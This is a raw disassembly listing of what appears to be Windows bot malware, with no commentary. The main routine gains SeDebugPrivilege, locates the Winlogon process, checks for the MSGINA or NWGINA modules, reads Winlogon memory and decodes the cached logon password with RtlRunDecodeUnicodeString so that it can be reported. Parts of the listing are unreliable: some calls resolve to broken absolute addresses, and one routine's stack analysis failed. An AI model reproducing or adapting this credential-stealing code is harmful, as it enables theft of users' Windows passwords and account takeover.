loc_416EB7:				; CODE XREF: sub_416DD9+2Cj
					; sub_416DD9+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_416EE9:				; CODE XREF: sub_416DD9+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416DD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EFD	proc near		; CODE XREF: sub_416FCF+17p
					; sub_416FCF+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416F70
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383FC
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_416FA4
; ---------------------------------------------------------------------------


loc_416F70:				; CODE XREF: sub_416EFD+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383C0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 20h


loc_416FA4:				; CODE XREF: sub_416EFD+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415D38
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FCF	proc near		; CODE XREF: sub_401ACD+252Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416FF0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h
		jmp	short loc_417051
; ---------------------------------------------------------------------------


loc_416FF0:				; CODE XREF: sub_416FCF+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB93C
		lea	esi, [eax+2]
		push	esi
		call	sub_41BEB5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB93C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_417048


loc_417014:				; CODE XREF: sub_416FCF+77j
		push	offset off_438438
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417037
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h


loc_417037:				; CODE XREF: sub_416FCF+54j
		push	esi
		call	sub_41B9C0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_417014


loc_417048:				; CODE XREF: sub_416FCF+43j
		push	edi
		call	sub_41BA91
		pop	ecx
		pop	edi
		pop	esi


loc_417051:				; CODE XREF: sub_416FCF+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416FCF	endp

; ---------------------------------------------------------------------------
dword_417054	dd 81EC8B55h, 49CECh, 8458B00h,	0B9575653h, 0A7h, 0BD8DF08Bh
					; DATA XREF: sub_401ACD+67C1o
		dd 0FFFFFD64h, 80C7A5F3h, 298h,	1, 0FEEC858Dh, 0E850FFFFh
		dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h
		dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh
		dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h
		dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh
		dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh,	83FFFF27h
		dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h
		dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh,	0C4830000h
		dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h,	83000051h
		dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h
		dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h
		dd 0E8905359h, 22C8E94h, 555B5E5Fh, 0EC81EC8Bh,	54Ch, 0BE575653h
		dd 104h, 8D1875FFh, 0FFFDB885h,	84A068FFh, 50560043h, 51CBE8h
		dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh,	0B8858D50h
		dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h
		dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h
		dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh,	0FFFEE885h
		dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h,	0FF000051h
		dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h
		dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh
		dd 0E890FC75h, 2348DD8h, 8F75C085h, 90FC75FFh, 1C8DCBE8h
		dd 1475FF02h, 0FDB8858Dh, 75FFFFFFh, 50565318h,	5117E8h
		dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh
		dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h
		dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h
		dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h
		dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 8D52E890h,	0C0850234h
		dd 9056B175h, 1C8D47E8h, 1C458B02h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172C1	proc near		; DATA XREF: sub_401ACD+1C72o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41AE41
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417300
		cmp	eax, 2
		jz	short loc_417300
		push	offset unk_438678
		jmp	loc_41743F
; ---------------------------------------------------------------------------


loc_417300:				; CODE XREF: sub_4172C1+2Ej
					; sub_4172C1+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41743A
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26A0CBDh
		mov	esi, dword_4270C4
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D483C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D4830, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4A40, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D4838, eax
		call	esi
		mov	dword_4D4834, eax
		call	sub_417493
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41740D
		mov	esi, dword_427148
		mov	edi, 400h
		mov	ebx, offset dword_4D3830
		push	edi
		push	ebx
		push	offset off_4385B4
		call	esi
		push	edi
		mov	edi, offset dword_4D4030
		push	edi
		push	offset off_43859C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4A48
		push	[ebp+arg_0]
		jnz	short loc_4173B9
		call	sub_41761C
		jmp	short loc_4173BE
; ---------------------------------------------------------------------------


loc_4173B9:				; CODE XREF: sub_4172C1+EFj
		call	sub_4177C3


loc_4173BE:				; CODE XREF: sub_4172C1+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417406
		cmp	dword_4D4A48, 0
		jnz	short loc_4173ED
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438540
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		jmp	short loc_417420
; ---------------------------------------------------------------------------


loc_4173ED:				; CODE XREF: sub_4172C1+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4173FD
		call	sub_4178F9
		jmp	short loc_417402
; ---------------------------------------------------------------------------


loc_4173FD:				; CODE XREF: sub_4172C1+133j
		call	sub_417990


loc_417402:				; CODE XREF: sub_4172C1+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_417406:				; CODE XREF: sub_4172C1+101j
		push	offset unk_438508
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_41740D:				; CODE XREF: sub_4172C1+B6j
		push	offset unk_4384DC


loc_417412:				; CODE XREF: sub_4172C1+143j
					; sub_4172C1+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_417420:				; CODE XREF: sub_4172C1+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 27A0000h
		pop	ebx
		jmp	short loc_41744D
; ---------------------------------------------------------------------------


loc_41743A:				; CODE XREF: sub_4172C1+4Ej
		push	offset unk_4384A8


loc_41743F:				; CODE XREF: sub_4172C1+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41744D:				; CODE XREF: sub_4172C1+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417474
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409869
		add	esp, 14h


loc_417474:				; CODE XREF: sub_4172C1+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_4172C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417493	proc near		; CODE XREF: sub_4172C1+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427154
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D483C
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27B0000h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D483C
		test	eax, eax
		jnz	short loc_417580
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417580
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417580


loc_41751C:				; CODE XREF: sub_417493+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417573
		push	0
		push	0
		call	dword_4D4830
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4A40
		test	eax, eax
		jnz	short loc_417564
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417598


loc_417564:				; CODE XREF: sub_417493+AAj
		test	edi, edi
		jz	short loc_41756F
		push	edi
		call	dword_4D4838


loc_41756F:				; CODE XREF: sub_417493+D3j
		mov	eax, [esp+28h+var_10]


loc_417573:				; CODE XREF: sub_417493+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_41751C


loc_417580:				; CODE XREF: sub_417493+6Dj
					; sub_417493+7Aj ...
		xor	edi, edi


loc_417582:				; CODE XREF: sub_417493+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	eax, edi


loc_417590:				; CODE XREF: sub_417493+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417598:				; CODE XREF: sub_417493+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417601
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_4175AE:				; CODE XREF: sub_417493+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417615
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4175F3
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4175F3:				; CODE XREF: sub_417493+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_4175AE


loc_417601:				; CODE XREF: sub_417493+10Fj
		test	edi, edi
		jz	short loc_41760C
		push	edi
		call	dword_4D4838


loc_41760C:				; CODE XREF: sub_417493+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417582
; ---------------------------------------------------------------------------


loc_417615:				; CODE XREF: sub_417493+13Cj
		xor	eax, eax
		jmp	loc_417590
sub_417493	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761C	proc near		; CODE XREF: sub_4172C1+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2680656h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417645
		xor	eax, eax
		jmp	loc_4177C0
; ---------------------------------------------------------------------------


loc_417645:				; CODE XREF: sub_41761C+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27D0000h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427154
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_42715C
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_417695
		xor	esi, esi
		jmp	loc_4177B3
; ---------------------------------------------------------------------------


loc_417695:				; CODE XREF: sub_41761C+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27C0A15h
		test	eax, eax
		jz	loc_4177A2
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4177A2
		test	[ebp+var_2B], 1
		jnz	loc_4177A2
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4177A2


loc_4176F8:				; CODE XREF: sub_41761C+112j
		push	edi
		push	offset dword_4D3830
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417720
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D4030
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417730


loc_417720:				; CODE XREF: sub_41761C+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4177A2
		jmp	short loc_4176F8
; ---------------------------------------------------------------------------


loc_417730:				; CODE XREF: sub_41761C+102j
		test	edi, edi
		jz	short loc_4177A2
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 27504D3h
		test	eax, eax
		jz	short loc_41776B
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2750000h
		test	eax, eax
		jz	short loc_41776B
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_41776B:				; CODE XREF: sub_41761C+12Bj
					; sub_41761C+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4A54, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D4A4C, eax
		mov	dword_4D4A50, edi


loc_4177A2:				; CODE XREF: sub_41761C+90j
					; sub_41761C+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	esi, [ebp+var_10]


loc_4177B3:				; CODE XREF: sub_41761C+74j
		push	[ebp+var_4]
		nop
		call	near ptr 2670000h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_4177C0:				; CODE XREF: sub_41761C+24j
		pop	esi
		leave
		retn
sub_41761C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177C3	proc near		; CODE XREF: sub_4172C1:loc_4173B9p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 2680656h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4178B5
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27D0000h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_4178AC
		mov	edi, dword_427154


loc_41780E:				; CODE XREF: sub_4177C3+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27C0A15h
		test	eax, eax
		jz	short loc_41789A
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4178A0
		test	[ebp+var_13], 1
		jnz	short loc_4178A0
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27C0D27h
		test	eax, eax
		jz	short loc_41788C
		push	offset dword_4D3830
		push	esi
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41788C
		lea	eax, [esi+400h]
		push	offset dword_4D4030
		push	eax
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4178BC


loc_41788C:				; CODE XREF: sub_4177C3+9Fj
					; sub_4177C3+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 27B0000h
		jmp	short loc_4178A0
; ---------------------------------------------------------------------------


loc_41789A:				; CODE XREF: sub_4177C3+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4178A0:				; CODE XREF: sub_4177C3+71j
					; sub_4177C3+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_41780E


loc_4178AC:				; CODE XREF: sub_4177C3+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 2670000h


loc_4178B5:				; CODE XREF: sub_4177C3+1Ej
		xor	eax, eax


loc_4178B7:				; CODE XREF: sub_4177C3+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4178BC:				; CODE XREF: sub_4177C3+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D4A4C, ebx
		mov	dword_4D4A50, eax
		cmp	[eax], cl
		jnz	short loc_4178DE
		cmp	[eax+1], cl
		jz	short loc_4178E6


loc_4178DE:				; CODE XREF: sub_4177C3+114j
					; sub_4177C3+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4178DE


loc_4178E6:				; CODE XREF: sub_4177C3+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2670000h
		push	1
		pop	eax
		jmp	short loc_4178B7
sub_4177C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178F9	proc near		; CODE XREF: sub_4172C1+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4A48
		push	esi
		mov	esi, dword_427154
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		call	near ptr 27C0000h
		nop
		mov	ecx, dword_4D4A48
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4A50
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4A54
		push	eax
		call	dword_4D4834
		push	[ebp+var_4]
		mov	edi, offset dword_4D4840
		push	offset dword_4D3830
		push	offset dword_4D4030
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	200h
		push	edi
		call	sub_41C360
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 27B0000h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4178F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417990	proc near		; CODE XREF: sub_4172C1:loc_4173FDp

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4A48
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 27C096Fh
		nop
		push	eax
		nop
		call	near ptr 27C0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D4030
		mov	edi, 200h
		mov	esi, offset dword_4D3630


loc_4179D6:				; CODE XREF: sub_417990+FAj
		mov	eax, dword_4D4A48
		add	eax, eax
		push	eax
		push	dword_4D4A50
		push	[ebp+var_14]
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D4834
		mov	eax, dword_4D4A48
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417A4B


loc_417A13:				; CODE XREF: sub_417990+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417A68
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417A37
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417A37
		cmp	dl, 20h
		jnb	short loc_417A31
		and	[ebp+var_8], 0


loc_417A31:				; CODE XREF: sub_417990+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417A3B


loc_417A37:				; CODE XREF: sub_417990+90j
					; sub_417990+96j
		and	[ebp+var_8], 0


loc_417A3B:				; CODE XREF: sub_417990+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417A13
		cmp	[ebp+var_8], 0
		jz	short loc_417A68


loc_417A4B:				; CODE XREF: sub_417990+81j
		push	[ebp+var_14]
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 1Ch
		jmp	short loc_417A80
; ---------------------------------------------------------------------------


loc_417A68:				; CODE XREF: sub_417990+87j
					; sub_417990+B9j
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438714
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 18h


loc_417A80:				; CODE XREF: sub_417990+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4179D6
		push	[ebp+var_14]
		push	0
		call	near ptr 27C096Fh
		nop
		push	eax
		nop
		call	near ptr 27B0000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417990	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA9	proc near		; CODE XREF: sub_417C61+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
